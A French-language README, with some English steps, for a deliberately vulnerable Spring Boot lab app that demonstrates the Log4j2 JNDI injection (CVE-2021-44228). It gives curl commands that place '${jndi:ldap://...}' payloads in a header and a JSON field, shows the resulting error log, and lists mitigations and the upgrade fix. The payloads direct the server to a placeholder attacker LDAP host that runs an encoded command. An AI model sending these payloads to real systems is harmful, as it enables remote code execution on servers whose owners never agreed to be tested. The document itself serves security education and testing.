
Application web Spring Boot vulnérable démontrant l'injection JNDI Log4j2 (CVE-2021-44228) avec des étapes d'exploitation et des conseils d'atténuation pour les tests de sécurité et l'éducation.
Cette application est basée sur une application web Spring Boot vulnérable à CVE-2021-44228. Elle utilise Log4j 2.14.1 (via spring-boot-starter-log4j2 2.6.1).

Exécutez-la :
Import the project in Java IDE as a maven project
Run CVEMainApplication.java as a spring boot app.
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/efdgt62jjd0002leee=}'
For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addemployee' \
--header 'Content-Type: application/json' \
--data '{
"name": "${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}"
}'
021-12-12 12:17:00,579 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=]. javax.naming.CommunicationException: your-private-ip:1389 [Root exception is java.net.UnknownHostException: your-private-ip]
Caused by: java.net.UnknownHostException: your-private-ip

Référence : https://logging.apache.org/log4j/2.x/security.html
Correctif rapide de l'application -> Dans les versions >=2.10, ce comportement peut être atténué en définissant soit la propriété système log4j2.formatMsgNoLookups, soit la variable d'environnement LOG4J_FORMAT_MSG_NO_LOOKUPS à true. Pour les versions de 2.0-beta9 à 2.10.0, l'atténuation consiste à supprimer la classe JndiLookup du classpath : zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
Mettre à niveau vers log4j 2.15.0 dans l'application et déployer